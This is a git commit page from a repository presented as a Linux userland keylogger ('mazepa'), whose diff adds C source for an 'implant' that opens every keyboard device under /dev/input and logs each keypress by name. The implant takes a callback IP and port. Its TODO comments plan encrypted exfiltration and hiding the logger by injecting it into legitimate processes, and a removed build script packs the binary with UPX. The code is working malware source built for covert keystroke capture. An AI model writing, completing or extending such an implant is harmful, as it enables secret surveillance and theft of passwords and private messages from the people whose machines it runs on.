mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 7a49195729829ba193304adc4f78f20aaefe8cef
parent 09887600222f6925e91729d1a1ca324affa3d65e
Author: winds0r <[email protected]>
Date: Mon, 5 Jun 2023 15:01:05 +0900

feat(implant): adding TAILQ support for each keyboards -> next step is to store in a buffer the contents of the keyboard, then we can do tracing & then network connection DEBUG_LOG() macro should probably also be reworked because it's such a pain to use right now

Diffstat:
Dcompile_logger.sh | 9---------
Rlogger/.gitignore -> implant/.gitignore | 0
Rlogger/Makefile -> implant/Makefile | 0
Aimplant/includes/implant.h | 96+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aimplant/sources/keyboard.c | 159+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aimplant/sources/logger.c | 191+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aimplant/sources/main.c | 26++++++++++++++++++++++++++
Aimplant/sources/opt.c | 53+++++++++++++++++++++++++++++++++++++++++++++++++++++
Aimplant/sources/utils.c | 160+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Rlogger/utils/install-deps.sh -> implant/utils/install-deps.sh | 0
Dlogger/includes/implant.h | 78------------------------------------------------------------------------------
Dlogger/sources/keyboard.c | 135-------------------------------------------------------------------------------
Dlogger/sources/logger.c | 186-------------------------------------------------------------------------------
Dlogger/sources/main.c | 27---------------------------
Dlogger/sources/opt.c | 43-------------------------------------------
Dlogger/sources/utils.c | 154-------------------------------------------------------------------------------

16 files changed, 685 insertions(+), 632 deletions(-)

diff --git a/compile_logger.sh b/compile_logger.sh
@@ -1,9 +0,0 @@
-#!/bin/bash
-
-BIN='k3yl0gg3r'
-
-cd logger && make
-which upx >/dev/null || sudo apt install -y upx
-upx --best ${BIN} && ./clean_script ${BIN}
-
-cp ${BIN} .. && make fclean
diff --git a/logger/.gitignore b/implant/.gitignore
diff --git a/logger/Makefile b/implant/Makefile
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -0,0 +1,96 @@
+
+#ifndef IMPLANT_H
+#define IMPLANT_H
+
+/*
+    TODO:
+
+    1. get current local /etc/default/keyboard &
+    translate it manually using struct input_event
+
+    2. cleanup select handling so that it doesn't suck massive balls
+
+    3. add support for TLS communications / some kind of enc.
+
+    4. enumerate process to see which can be interesting to inject into
+
+    5. use ptrace-less process injection to inject this in a legit program
+*/
+
+
+#include <sys/types.h>
+#include <stdint.h>
+#include <sys/queue.h>
+
+typedef struct keyboard_s keyboard_t;
+struct keyboard_s {
+    int fd;
+
+    char buffer[256];
+    char name[64];
+
+    TAILQ_ENTRY(keyboard_s) devices;
+};
+
+
+
+/*
+    contains project settings, such as target
+    port & IP address, whether debug mode is enabled
+    or stuff like this
+*/
+typedef struct implant_s {
+
+    /* remote connection settings */
+    unsigned short port;
+    char ip[17];
+
+    /* debug settings */
+    int debug_enabled:1;
+
+    /* keyboard settings */
+    char locale[20];
+    TAILQ_HEAD(listhead, keyboard_s) kbd;
+
+} implant_t;
+
+
+#define SUCCESSFUL 1
+#define ERROR 0
+
+#include <stdio.h> /* necessary for the dprintf in the macro */
+
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(flag, s, ...) \
+    do { \
+        if (flag != 0) { \
+            dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
+        } \
+    } while (0)
+#endif
+
+
+
+#define KEY_PRESSED 1
+#define KEY_RELEASED 0
+
+// opt.c
+int parse_user_input(int, char **, implant_t *);
+
+// logger.c
+void keylog(implant_t *);
+
+// keyboard.c
+int get_locale(implant_t *);
+void fetch_available_keyboards(implant_t *);
+
+// utils.c
+int read_file(char const *, char **, implant_t *);
+size_t get_array_size(uint8_t **);
+char *remove_repeating_whitespaces(char *);
+void free_tab(uint8_t **);
+char **tabgen(const char *, char);
+
+
+#endif /* IMPLANT_H */
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -0,0 +1,159 @@
+
+/*
+    keyboard handling and local support.
+*/
+
+
+#include "implant.h"
+
+#include <errno.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/queue.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <dirent.h>
+#include <unistd.h>
+
+
+static int is_kbd(const struct dirent *f) {
+    size_t len = strlen(f->d_name);
+
+    if (len < 3)
+        return 0;
+
+    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
+}
+
+
+void fetch_available_keyboards(implant_t *instance) {
+
+    /*
+        input devices usually live in /dev/input/
+
+        you can identify the in the by-path subdirectory, which maps each
+        device name to a symlink
+
+        here, we will return set an array of file-descriptor for each available
+        keyboard on the machine, it should be appended with a -1 that should serve
+        as a NULL value
+    */
+
+    struct dirent **char_devices = NULL;
+    int possible_paths = scandir(
+        "/dev/input/by-path/",
+        &char_devices,
+        &is_kbd,
+        &alphasort
+    );
+
+    if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "could not find possible keyboard paths"
+        );
+
+        return;
+    }
+
+    /* prepare TAILQ  */
+    TAILQ_INIT(&instance->kbd);
+
+    char rpath[2048] = {0};
+    for (int ctr = -1; ++ctr < possible_paths;) {
+        if (!realpath(char_devices[ctr]->d_name, rpath)) {
+            DEBUG_LOG(
+                instance->debug_enabled,
+                "[!] Could not run realpath(%s): %s",
+                char_devices[ctr]->d_name, strerror(errno)
+            );
+
+            continue;
+        }
+
+
+        keyboard_t *kbd = malloc(sizeof(keyboard_t));
+        if (!kbd) {
+            DEBUG_LOG(
+                instance->debug_enabled,
+                "[!] allocate memory for keyboard_t"
+            );
+
+            continue;
+        }
+
+
+        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+        if (kbd->fd < 0) {
+            DEBUG_LOG(
+                instance->debug_enabled,
+                "[!] Could not open %s: %s",
+                rpath, strerror(errno)
+            );
+
+            continue;
+        }
+
+        strncpy(kbd->name, rpath, 63);
+        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+    }
+
+    for (int ctr = -1; ++ctr < possible_paths;)
+        free(char_devices[ctr]);
+    free(char_devices);
+}
+
+
+static int parse_locale(char const *locale_fpath, implant_t *instance) {
+
+    char *buffer = NULL;
+    if (ERROR == read_file(locale_fpath, &buffer, instance))
+        return ERROR;
+
+    char **tab = tabgen(buffer, '\n');
+    if (!tab) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "Could not split buffer contents: %s",
+            buffer
+        );
+
+        free(buffer);
+        return ERROR;
+    }
+
+    for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
+
+        if (!strncmp(tab[i], "LANG=", 5)) {
+            strncpy(instance->locale, tab[i] + 5, 20);
+
+            /* safe to free all this and exit this function */
+            free_tab((uint8_t **)tab);
+            free(buffer);
+            return SUCCESSFUL;
+        }
+    }
+
+    DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
+    free_tab((uint8_t **)tab);
+    free(buffer);
+    return ERROR;
+}
+
+
+int get_locale(implant_t *instance) {
+
+    /*
+        function call is wrapped in order to support multiple distros
+        down the line.
+
+        AFAIK, most linux distros do it like this, but this might not work for *BSD
+        for instance.
+    */
+
+    return parse_locale("/etc/default/locale", instance);
+}
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -0,0 +1,191 @@
+
+/*
+   key-logging is done here......yeah
+*/
+
+
+#include "implant.h"
+#include <alloca.h>
+#include <bits/types/struct_timeval.h>
+#include <stddef.h>
+#include <string.h>
+#include <errno.h>
+#include <sys/queue.h>
+#include <sys/select.h>
+#include <linux/input.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <xkbcommon/xkbcommon.h>
+
+
+static int get_highest_fd(implant_t *instance) {
+    int highest_fd = -1;
+
+    keyboard_t *it = NULL;
+    TAILQ_FOREACH(it, &instance->kbd, devices) {
+        highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
+    }
+    return highest_fd;
+}
+
+static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
+    struct input_event evt = {0};
+
+    ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+    if (bytes_read != sizeof(evt)) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] read() error: %s",
+            strerror(errno)
+        );
+
+        return ERROR;
+    }
+
+    // 1 = is_pressed
+    if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
+        char key_description[256] = {0};
+        xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+
+        xkb_keysym_get_name(keysym, key_description, 256);
+        printf("[+] Key pressed: %s\n", key_description);
+    }
+
+    return SUCCESSFUL;
+}
+
+
+/*
+    main loop to listen for keys and stuff
+*/
+void keylog(implant_t *instance) {
+
+
+    /* first set up select etc */
+    int highest_fd = get_highest_fd(instance);
+    fd_set rd, err;
+    int status = 0;
+
+    if (highest_fd < 0) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] no keyboard found. exiting"
+        );
+        return;
+    }
+
+
+    /*
+       initialize xkbcommon context
+
+       this is the stuff that allows us to maps keys to
+       the correct language & manages special characters, shift, etc.
+    */
+
+    struct xkb_context *context = NULL;
+    struct xkb_keymap *keymap = NULL;
+    struct xkb_state *state = NULL;
+
+    context = xkb_context_new(0);
+    if (!context) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] error with xkb_context_new(): %s",
+            strerror(errno)
+        );
+
+        return;
+
+    }
+
+    keymap = xkb_keymap_new_from_names(context, NULL, 0);
+    if (!keymap) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] error with xkb_keymap_new_from_names(): %s",
+            strerror(errno)
+        );
+
+        goto LOG_FUNCTION_CLEANUP;
+    }
+
+    state = xkb_state_new(keymap);
+    if (!state) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] error with xkb_state_new(): %s",
+            strerror(errno)
+        );
+
+        goto LOG_FUNCTION_CLEANUP;
+    }
+
+
+    /* run the damn loop */
+    while (1312) {
+
+        /* setup FD-sets */
+        keyboard_t *it = NULL;
+        TAILQ_FOREACH(it, &instance->kbd, devices) {
+            FD_SET(it->fd, &rd);
+            FD_SET(it->fd, &err);
+        }
+
+        /* check if a key has been pressed */
+        status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
+        if (status < 0) {
+            DEBUG_LOG(
+                instance->debug_enabled,
+                "[!] select error: %s",
+                strerror(errno)
+            );
+
+            goto LOG_FUNCTION_CLEANUP;
+        }
+
+        /* check file descriptors (first for error, then for new input) */
+        it = NULL;
+        TAILQ_FOREACH(it, &instance->kbd, devices) {
+            if (FD_ISSET(it->fd, &err)) {
+                DEBUG_LOG(
+                    instance->debug_enabled,
+                    "[!] Error on file descriptor %d",
+                    it->fd
+                );
+
+                /* keyboard has been un-plugged, let's continue */
+                close(it->fd);
+                TAILQ_REMOVE(&instance->kbd, it, devices);
+
+                /* TODO: there is probably a memory leak here, investigate how to fix */
+
+                continue;
+            }
+
+            /* checking for new input here */
+            if (FD_ISSET(it->fd, &rd)) {
+
+                /*
+                    should we really kill the run here or can we recover this ?
+                    i need to run some tests before making a decision.
+                */
+                if (log_keyboard(it->fd, instance, state) == ERROR)
+                    goto LOG_FUNCTION_CLEANUP;
+            }
+
+        }
+
+    }
+
+
+LOG_FUNCTION_CLEANUP:
+    if (state != NULL)
+        xkb_state_unref(state);
+
+    if (keymap != NULL)
+        xkb_keymap_unref(keymap);
+
+    if (context != NULL)
+        xkb_context_unref(context);
+
+}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -0,0 +1,26 @@
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+
+int main(int ac, char **av) {
+
+    implant_t instance = {0};
+    if (ERROR == parse_user_input(ac, av, &instance))
+        return 1;
+
+    get_locale(&instance);
+    DEBUG_LOG(
+        instance.debug_enabled,
+        "[*] Implant settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
+        instance.ip, instance.port, instance.locale
+    );
+
+    fetch_available_keyboards(&instance);
+    keylog(&instance);
+    return 0;
+}
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -0,0 +1,53 @@
+/*
+   program's imput handling is handled here.
+   */
+
+
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+static void help_mode(char const *binary_path) {
+    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-d\tEnable debug trace\n", binary_path);
+}
+
+
+int parse_user_input(int ac, char **av, implant_t *settings) {
+    int c = 0;
+
+    do {
+        c = getopt(ac, av, "i:p:dh");
+        switch (c) {
+            case 'i':
+                /* we got an IP address */
+                strncpy((char *)&settings->ip, optarg, 16);
+                break;
+
+            case 'p':
+                /* we got a port */
+                 settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+                 break;
+
+            case 'd':
+                 settings->debug_enabled = 1;
+                 break;
+
+            case 'h':
+                 help_mode(av[0]);
+                 exit(0);
+                 // will exit on help_mode() anyway
+
+            case '?':
+                 help_mode(av[0]);
+                 return ERROR;
+
+            default:
+                 break;
+        }
+    } while (c != -1);
+    return SUCCESSFUL;
+}
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -0,0 +1,160 @@
+
+/*
+    random useful functions
+*/
+
+#include "implant.h"
+
+
+#include <stddef.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <ctype.h>
+#include <stdio.h>
+
+/*
+   just a little utility function to read a generic text file.
+
+   implant_t struct is required to have debug logging. i should maybe
+   find a way to make this suck less, but we're not smart devs over here
+*/
+int read_file(char const *path, char **buffer, implant_t *instance) {
+
+    int fd = open(path, O_RDONLY);
+    if (0 > fd) {
+        DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
+        return ERROR;
+    }
+
+     // could use fseek but stat is posix so let's use that
+    struct stat st;
+    if (0 > fstat(fd, &st)) {
+        DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
+        return ERROR;
+    }
+
+    unsigned long filesize = (unsigned long)st.st_size;
+
+    *buffer = malloc(sizeof(char) * (filesize + 1));
+    if (!buffer || !(*buffer)) {
+        DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
+        return ERROR;
+    }
+
+    ssize_t bytes = read(fd, *buffer, filesize);
+    if (bytes != st.st_size) {
+        DEBUG_LOG(
+            instance->debug_enabled,
+            "[!] Should have read %ld bytes but read %ld (filepath: %s)",
+            st.st_size, bytes, path
+        );
+
+        if (bytes < 0) {
+            DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
+            return ERROR;
+        }
+    }
+
+    *buffer[bytes] = 0;
+    close(fd);
+    return SUCCESSFUL;
+}
+
+static size_t get_nb_cols(const char *str, int n, char separator)
+{
+    size_t i = (size_t)n;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    for (; str[i] != '\0' && str[i] != separator; i++, res++);
+    return (res);
+}
+
+static size_t get_nb_rows(const char *str, char separator)
+{
+    int i;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    if (str == NULL || str[0] == '\0')
+        return (0);
+    for (i = 0; str[i] != '\0'; i++)
+        if (str[i] == separator)
+            res++;
+    return (res + 1);
+}
+
+char **tabgen(const char *str, char separator)
+{
+    size_t i = 0;
+    size_t malloc_size = 0;
+    size_t index_str = 0;
+    char **res = NULL;
+
+    if (str == NULL || *str == 0)
+        return NULL;
+
+    res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+    for (; i < get_nb_rows(str, separator); i++) {
+        malloc_size = get_nb_cols(&str[index_str], 0, separator);
+
+        res[i] = malloc(sizeof(char) * (malloc_size + 4));
+        if (!res[i]) {
+            res[i] = NULL;
+            free_tab((uint8_t **)res);
+            return NULL;
+        }
+
+        res[i] = strncpy(res[i], &str[index_str], malloc_size);
+        res[i][malloc_size] = '\0';
+
+        index_str = index_str + malloc_size + 1;
+    }
+
+    res[i] = NULL;
+    return (res);
+}
+
+void free_tab(uint8_t **tab)
+{
+    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+        free(tab[ctr]);
+    free(tab);
+}
+
+char *remove_repeating_whitespaces(char *s)
+{
+    size_t i = 0;
+    size_t x = 0 ;
+
+    if (!s || !(*s))
+        return NULL;
+
+    for(; s[i]; ++i)
+        if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
+            s[x++] = s[i];
+
+    s[x] = '\0';
+    return s;
+}
+
+size_t get_array_size(uint8_t **array)
+{
+    size_t ctr = 0;
+
+    if (!array)
+        return 0;
+    while (array[ctr++]);
+    return ctr;
+}
diff --git a/logger/utils/install-deps.sh b/implant/utils/install-deps.sh
diff --git a/logger/includes/implant.h b/logger/includes/implant.h
@@ -1,78 +0,0 @@
-
-#ifndef IMPLANT_H
-#define IMPLANT_H
-
-/*
-    TODO:
-
-    1. get current local /etc/default/keyboard &
-    translate it manually using struct input_event
-
-    2. cleanup select handling so that it doesn't suck massive balls
-
-    3. add support for TLS communications / some kind of enc.
-
-    4. enumerate process to see which can be interesting to inject into
-
-    5. use ptrace-less process injection to inject this in a legit program
-*/
-
-
-#include <sys/types.h>
-#include <stdint.h>
-
-/*
-    contains project settings, such as target
-    port & IP address, whether debug mode is enabled
-    or stuff like this
-*/
-typedef struct implant_s {
-
-    /* remote connection settings */
-    unsigned short port;
-    char ip[17];
-
-    /* debug settings */
-    int debug_enabled:1;
-
-    /* keyboard settings */
-    char locale[20];
-    int *kb_fd;
-} implant_t;
-
-
-#define SUCCESSFUL 1
-#define ERROR 0
-
-#include <stdio.h> /* necessary for the dprintf in the macro */
-
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(flag, s, ...) \
-    do { \
-        if (flag != 0) { \
-            dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
-        } \
-    } while (0)
-#endif
-
-
-// opt.c
-int parse_user_input(int, char **, implant_t *);
-
-// logger.c
-void keylog(implant_t *);
-
-// keyboard.c
-int get_locale(implant_t *);
-void fetch_available_keyboards(implant_t *);
-
-// utils.c
-int read_file(char const *, char **, implant_t *);
-size_t get_array_size(uint8_t **);
-char *remove_repeating_whitespaces(char *);
-void free_tab(uint8_t **);
-char **tabgen(const char *, char);
-
-
-#endif /* IMPLANT_H */
diff --git a/logger/sources/keyboard.c b/logger/sources/keyboard.c
@@ -1,135 +0,0 @@
-
-/*
-    keyboard handling and local support.
-*/
-
-
-#include "implant.h"
-
-#include <errno.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <dirent.h>
-#include <unistd.h>
-
-
-static int is_kbd(const struct dirent *f) {
-    size_t len = strlen(f->d_name);
-
-    if (len < 3)
-        return 0;
-
-    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
-}
-
-
-void fetch_available_keyboards(implant_t *instance) {
-
-    /*
-        input devices usually live in /dev/input/
-
-        you can identify the in the by-path subdirectory, which maps each
-        device name to a symlink
-
-        here, we will return set an array of file-descriptor for each available
-        keyboard on the machine, it should be appended with a -1 that should serve
-        as a NULL value
-    */
-
-    struct dirent **char_devices = NULL;
-    int possible_paths = scandir(
-        "/dev/input/by-path/",
-        &char_devices,
-        &is_kbd,
-        &alphasort
-    );
-
-    if (possible_paths == -1 || chdir("/dev/input/by-path/") < 0) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "could not find possible keyboard paths"
-        );
-
-        return;
-    }
-
-    instance->kb_fd = malloc(sizeof(int) * ((size_t)possible_paths + 1));
-    if (!instance->kb_fd) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "could not allocate memory for possible kb paths: %s",
-            strerror(errno)
-        );
-        return;
-    }
-
-    instance->kb_fd[possible_paths] = -1;
-    char rpath[2048] = {0};
-    for (int ctr = -1; ++ctr < possible_paths;) {
-        if (!realpath(char_devices[ctr]->d_name, rpath)) {
-            DEBUG_LOG(
-                instance->debug_enabled,
-                "[!] Could not run realpath(%s): %s",
-                char_devices[ctr]->d_name, strerror(errno)
-            );
-        } else instance->kb_fd[ctr] = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
-    }
-
-      for (int ctr = -1; ++ctr < possible_paths;)
-        free(char_devices[ctr]);
-    free(char_devices);
-}
-
-
-static int parse_locale(char const *locale_fpath, implant_t *instance) {
-
-    char *buffer = NULL;
-    if (ERROR == read_file(locale_fpath, &buffer, instance))
-        return ERROR;
-
-    char **tab = tabgen(buffer, '\n');
-    if (!tab) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "Could not split buffer contents: %s",
-            buffer
-        );
-
-        free(buffer);
-        return ERROR;
-    }
-
-    for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
-
-        if (!strncmp(tab[i], "LANG=", 5)) {
-            strncpy(instance->locale, tab[i] + 5, 20);
-
-            /* safe to free all this and exit this function */
-            free_tab((uint8_t **)tab);
-            free(buffer);
-            return SUCCESSFUL;
-        }
-    }
-
-    DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
-    free_tab((uint8_t **)tab);
-    free(buffer);
-    return ERROR;
-}
-
-
-int get_locale(implant_t *instance) {
-
-    /*
-        function call is wrapped in order to support multiple distros
-        down the line.
-    */
-
-    return parse_locale("/etc/default/locale", instance);
-}
diff --git a/logger/sources/logger.c b/logger/sources/logger.c
@@ -1,186 +0,0 @@
-
-/*
-   key-logging is done here......yeah
-*/
-
-
-#include "implant.h"
-#include <alloca.h>
-#include <bits/types/struct_timeval.h>
-#include <stddef.h>
-#include <string.h>
-#include <errno.h>
-#include <sys/select.h>
-#include <linux/input.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <xkbcommon/xkbcommon.h>
-
-
-static int get_highest_fd(int *kbfd, int *i) {
-    if (!kbfd)
-        return -1;
-
-    int highest = -1;
-    for (*i = 0; kbfd[*i] != -1; (*i)++)
-        highest = (highest < kbfd[*i]) ? kbfd[*i] : highest;
-    return highest;
-}
-
-static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
-    struct input_event evt = {0};
-
-    ssize_t bytes_read = read(fd, &evt, sizeof(evt));
-    if (bytes_read != sizeof(evt)) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] read() error: %s",
-            strerror(errno)
-        );
-
-        return ERROR;
-    }
-
-    // 1 = is_pressed
-    if (evt.type == EV_KEY && evt.value == 1) {
-        char key_description[256] = {0};
-        xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
-
-        xkb_keysym_get_name(keysym, key_description, 256);
-        printf("[+] Key pressed: %s\n", key_description);
-    }
-
-    return SUCCESSFUL;
-}
-
-
-/*
-    main loop to listen for keys and stuff
-*/
-void keylog(implant_t *instance) {
-
-
-    /* first set up select etc */
-    int nb_kb = 0;
-    int highest_fd = get_highest_fd(instance->kb_fd, &nb_kb);
-    fd_set rd, err;
-    int status = 0;
-
-    if (highest_fd < 0 || !nb_kb) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] no keyboard found. exiting"
-        );
-        return;
-    }
-
-
-    /*
-       initialize xkbcommon context
-
-       this is the stuff that allows us to maps keys to
-       the correct language & manages special characters, shift, etc.
-    */
-
-    struct xkb_context *context = NULL;
-    struct xkb_keymap *keymap = NULL;
-    struct xkb_state *state = NULL;
-
-    context = xkb_context_new(0);
-    if (!context) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] error with xkb_context_new(): %s",
-            strerror(errno)
-        );
-
-        return;
-
-    }
-
-    keymap = xkb_keymap_new_from_names(context, NULL, 0);
-    if (!keymap) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] error with xkb_keymap_new_from_names(): %s",
-            strerror(errno)
-        );
-
-        goto LOG_FUNCTION_CLEANUP;
-    }
-
-    state = xkb_state_new(keymap);
-    if (!state) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] error with xkb_state_new(): %s",
-            strerror(errno)
-        );
-
-        goto LOG_FUNCTION_CLEANUP;
-    }
-
-
-    /* run the damn loop */
-    while (1) {
-
-        /* setup FD-sets */
-        for (int i = 0; i < nb_kb; i++) {
-            FD_SET(instance->kb_fd[i], &rd);
-            FD_SET(instance->kb_fd[i], &err);
-        }
-
-        /* check if a key has been pressed */
-        status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
-        if (status < 0) {
-            DEBUG_LOG(
-                instance->debug_enabled,
-                "[!] select error: %s",
-                strerror(errno)
-            );
-
-            goto LOG_FUNCTION_CLEANUP;
-        }
-
-        /* check file descriptors (first for error, then for new input) */
-        for (int i = 0; i < nb_kb; i++) {
-            if (FD_ISSET(instance->kb_fd[i], &err)) {
-                DEBUG_LOG(
-                    instance->debug_enabled,
-                    "[!] Error on file descriptor %d",
-                    instance->kb_fd[i]
-                );
-
-                /*
-                    TODO: replace array of keyboard fd by a linked list so
-                    that it can cleanly be removed without breaking the
-                    logger
-                */
-
-                goto LOG_FUNCTION_CLEANUP;
-            }
-
-            /* checking for new input here */
-            if (FD_ISSET(instance->kb_fd[i], &rd)) {
-
-                /* TODO: should we really kill the run here or can we recover this ? */
-                if (log_keyboard(instance->kb_fd[i], instance, state) == ERROR)
-                    goto LOG_FUNCTION_CLEANUP;
-            }
-
-        }
-
-    }
-
-
-LOG_FUNCTION_CLEANUP:
-    if (state != NULL)
-        xkb_state_unref(state);
-
-    if (keymap != NULL)
-        xkb_keymap_unref(keymap);
-
-    if (context != NULL)
-        xkb_context_unref(context);
-
-}
diff --git a/logger/sources/main.c b/logger/sources/main.c
@@ -1,27 +0,0 @@
-
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#include "implant.h"
-
-
-int main(int ac, char **av) {
-
-    implant_t instance = {0};
-    if (ERROR == parse_user_input(ac, av, &instance))
-        return 1;
-
-    get_locale(&instance);
-    DEBUG_LOG(
-        instance.debug_enabled,
-        "[*] Implant settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
-        instance.ip, instance.port, instance.locale
-    );
-
-
-    fetch_available_keyboards(&instance);
-    keylog(&instance);
-    return 0;
-}
diff --git a/logger/sources/opt.c b/logger/sources/opt.c
@@ -1,43 +0,0 @@
-/*
-   program's imput handling is handled here.
-   */
-
-
-#include <getopt.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#include "implant.h"
-
-
-int parse_user_input(int ac, char **av, implant_t *settings) {
-    int c = 0;
-
-    do {
-        c = getopt(ac, av, "i:p:d");
-        switch (c) {
-            case 'i':
-                /* we got an IP address */
-                strncpy((char *)&settings->ip, optarg, 16);
-                break;
-
-            case 'p':
-                /* we got a port */
-                 settings->port = (unsigned short)strtoul(optarg, NULL, 0);
-                 break;
-
-            case 'd':
-                 settings->debug_enabled = 1;
-                 break;
-
-            case '?':
-                 return ERROR;
-
-            default:
-                 break;
-        }
-    } while (c != -1);
-    return SUCCESSFUL;
-}
diff --git a/logger/sources/utils.c b/logger/sources/utils.c
@@ -1,154 +0,0 @@
-
-/*
-    random useful functions
-*/
-
-#include "implant.h"
-
-
-#include <stddef.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <stdint.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <ctype.h>
-#include <stdio.h>
-
-/*
-   just a little utility function to read a generic text file.
-
-   implant_t struct is required to have debug logging. i should maybe
-   find a way to make this suck less, but we're not smart devs over here
-*/
-int read_file(char const *path, char **buffer, implant_t *instance) {
-
-    int fd = open(path, O_RDONLY);
-    if (fd < 0) {
-        DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
-        return ERROR;
-    }
-
-     // could use fseek but stat is posix so let's use that
-    struct stat st;
-    if (fstat(fd, &st) < 0) {
-        DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
-        return ERROR;
-    }
-
-    unsigned long filesize = (unsigned long)st.st_size;
-
-    *buffer = malloc(sizeof(char) * (filesize + 1));
-    if (!buffer || !(*buffer)) {
-        DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
-        return ERROR;
-    }
-
-    ssize_t bytes = read(fd, *buffer, filesize);
-    if (bytes != st.st_size) {
-        DEBUG_LOG(
-            instance->debug_enabled,
-            "[!] Should have read %ld bytes but read %ld (filepath: %s)",
-            st.st_size, bytes, path
-        );
-
-        if (bytes < 0) {
-            DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
-            return ERROR;
-        }
-    }
-
-    *buffer[bytes] = 0;
-    close(fd);
-    return SUCCESSFUL;
-}
-
-static size_t get_nb_cols(const char *str, int n, char separator)
-{
-    size_t i = (size_t)n;
-    size_t res = 0;
-
